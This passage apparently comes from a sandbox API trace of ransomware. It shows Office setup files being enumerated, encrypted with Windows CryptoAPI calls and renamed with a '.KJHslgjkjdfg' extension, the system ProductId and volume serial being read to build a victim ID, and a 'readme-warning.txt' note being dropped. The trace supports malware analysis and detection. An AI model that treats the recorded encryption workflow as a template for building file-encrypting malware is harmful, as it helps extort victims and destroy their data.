lpNewFilePointer=0x0) returned 1 [0143.765] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x6, lpOverlapped=0x0) returned 1 [0143.768] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.768] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.768] GetProcessHeap () returned 0x2a0000 [0143.768] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.768] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40) returned 1 [0143.768] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.769] WriteFile (in: hFile=0x13c, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290ed60*=0x40, lpOverlapped=0x0) returned 1 [0143.769] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.769] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.769] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.769] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.769] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.769] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.769] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.769] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.770] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x5aa, lpOverlapped=0x0) returned 1 [0143.770] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x5b0) returned 1 [0143.770] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.770] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x5b0, lpOverlapped=0x0) returned 1 [0143.770] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.770] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.770] SetEndOfFile (hFile=0x13c) returned 1 [0143.773] GetProcessHeap () returned 0x2a0000 [0143.773] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.773] GetProcessHeap () returned 0x2a0000 [0143.773] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.773] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.kjhslgjkjdfg")) returned 1 [0143.776] CloseHandle (hObject=0x13c) returned 1 [0143.777] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0143.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.778] GetProcessHeap () returned 0x2a0000 [0143.778] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.778] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.778] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.778] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x2, lpOverlapped=0x0) returned 1 [0143.781] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.781] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.781] GetProcessHeap () returned 0x2a0000 [0143.781] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0143.781] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0143.782] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.782] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0143.782] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.782] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.782] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.782] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.782] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.782] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.782] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.782] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.782] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x75e, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x75e, lpOverlapped=0x0) returned 1 [0143.782] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x760, dwBufLen=0x760 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x760) returned 1 [0143.782] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.782] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x760, lpOverlapped=0x0) returned 1 [0143.783] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.783] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.783] SetEndOfFile (hFile=0x13c) returned 1 [0143.786] GetProcessHeap () returned 0x2a0000 [0143.786] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0143.786] GetProcessHeap () returned 0x2a0000 [0143.786] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.786] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0143.793] CloseHandle (hObject=0x13c) returned 1 [0143.793] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0143.793] GetProcessHeap () returned 0x2a0000 [0143.793] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.793] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.793] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290eb98 | out: pbData=0x2bf570, pdwDataLen=0x290eb98) returned 1 [0143.793] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.793] GetProcessHeap () returned 0x2a0000 [0143.793] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0143.794] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.794] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290eb98 | out: pbData=0x2bf5b8, pdwDataLen=0x290eb98) returned 1 [0143.794] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.794] GetProcessHeap () returned 0x2a0000 [0143.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f7a10 [0143.794] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.794] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f7a10, pdwDataLen=0x290eb98 | out: pbData=0x2f7a10, pdwDataLen=0x290eb98) returned 1 [0143.794] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.794] GetProcessHeap () returned 0x2a0000 [0143.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0143.794] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.794] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290e778 | out: pbData=0x2bf528, pdwDataLen=0x290e778) returned 1 [0143.794] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.794] GetProcessHeap () returned 0x2a0000 [0143.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.794] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.794] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e778 | out: pbData=0x2c1640, pdwDataLen=0x290e778) returned 1 [0143.794] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.794] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e774 | out: phkResult=0x290e774*=0x13c) returned 0x0 [0143.795] RegQueryValueExA (in: hKey=0x13c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290e780, lpcbData=0x290e77c*=0x400 | out: lpType=0x0, lpData=0x290e780*=0x30, lpcbData=0x290e77c*=0x18) returned 0x0 [0143.795] RegCloseKey (hKey=0x13c) returned 0x0 [0143.795] GetProcessHeap () returned 0x2a0000 [0143.795] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0143.795] GetProcessHeap () returned 0x2a0000 [0143.795] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.795] GetProcessHeap () returned 0x2a0000 [0143.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.795] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.795] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e54c | out: pbData=0x2c1640, pdwDataLen=0x290e54c) returned 1 [0143.795] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.795] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0143.795] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0143.796] GetProcessHeap () returned 0x2a0000 [0143.796] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.796] wsprintfA (in: param_1=0x290e797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0143.796] wsprintfA (in: param_1=0x290eba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0143.796] GetProcessHeap () returned 0x2a0000 [0143.796] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f7dd8 [0143.796] wsprintfW (in: param_1=0x290db74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\readme-warning.txt") returned 115 [0143.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.798] WriteFile (in: hFile=0x13c, lpBuffer=0x2f7dd8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290db70, lpOverlapped=0x0 | out: lpBuffer=0x2f7dd8*, lpNumberOfBytesWritten=0x290db70*=0x3b3, lpOverlapped=0x0) returned 1 [0143.800] CloseHandle (hObject=0x13c) returned 1 [0143.800] GetProcessHeap () returned 0x2a0000 [0143.800] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7a10 | out: hHeap=0x2a0000) returned 1 [0143.800] GetProcessHeap () returned 0x2a0000 [0143.800] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7dd8 | out: hHeap=0x2a0000) returned 1 [0143.800] GetProcessHeap () returned 0x2a0000 [0143.800] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0143.800] GetProcessHeap () returned 0x2a0000 [0143.800] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.800] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0143.800] GetProcessHeap () returned 0x2a0000 [0143.800] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0143.800] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="PRJPROR", cAlternateFileName="")) returned 1 [0143.800] GetProcessHeap () returned 0x2a0000 [0143.801] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc0) returned 0x2ed148 [0143.801] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0143.805] GetProcessHeap () returned 0x2a0000 [0143.805] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0143.805] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0143.805] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="PrjProrWW.XML", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0143.805] GetProcessHeap () returned 0x2a0000 [0143.805] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c2) returned 0x2f7730 [0143.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.806] GetProcessHeap () returned 0x2a0000 [0143.806] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.806] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.806] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.807] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xb, lpOverlapped=0x0) returned 1 [0143.809] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.809] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.809] GetProcessHeap () returned 0x2a0000 [0143.809] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.809] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40) returned 1 [0143.809] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.809] WriteFile (in: hFile=0x13c, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290ed60*=0x40, lpOverlapped=0x0) returned 1 [0143.810] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.810] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.810] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.810] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.810] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.810] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.810] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.810] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.810] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1915, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x1915, lpOverlapped=0x0) returned 1 [0143.811] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, 